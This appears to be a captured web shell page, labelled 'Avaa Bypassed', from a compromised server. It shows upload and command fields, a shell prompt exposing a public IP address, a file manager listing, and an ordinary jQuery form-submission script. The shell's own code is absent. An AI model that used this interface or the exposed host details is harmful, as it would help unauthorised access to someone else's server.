404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.141.45.137: ~ $
//handle submit form
let form = $('#users_form'), users_btn = $('#submit');
users_btn.on('click', function (e) {
    e.preventDefault()

    $('body').waitMe({
        effect: 'bounce',
        text: 'Submitting. Please wait...',
        color: "#fff",
        bg: 'rgba(0,0,0,0.5)'
    });

    $.ajax({
        headers: {
            'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
        },
        url: form.attr("data-post-uri"),
        dataType: 'json',
        type: 'POST',
        data: form.serializeArray(),
        success: function (json) {
            $('body').waitMe("hide");
            if (json.status) {
                toastr.success('User added Successfully');
                location.href = window.location
            } else {
                // console.log(json?.data)
                if (json?.data?.length > 0) {
                    json.data.forEach((error, index) => {
                        toastr.error(error.error, {
                            CloseButton: true,
                            ProgressBar: true
                        });
                    })
                }

                Snackbar.show({
                    text: json.message,
                    pos: 'bottom-center',
                    backgroundColor: '#a3220f',
                    timeout: 3000
                });

            }
        },
        error: function (json) {
            Snackbar.show({
                text: 'Something went wrong. Please try again later!',
                pos: 'bottom-center',
                backgroundColor: '#a3220f'
            });
            $('body').waitMe("hide");
        }
    });
})






Filemanager

Name Type Size Permission Actions
custom.js File 353 B 0644
facebook.js File 1.61 KB 0644
images.js File 1.61 KB 0644
news_podcasts.js File 2.4 KB 0644
schedule.js File 1.91 KB 0644
users.js File 1.62 KB 0644
userupdate.js File 1.63 KB 0644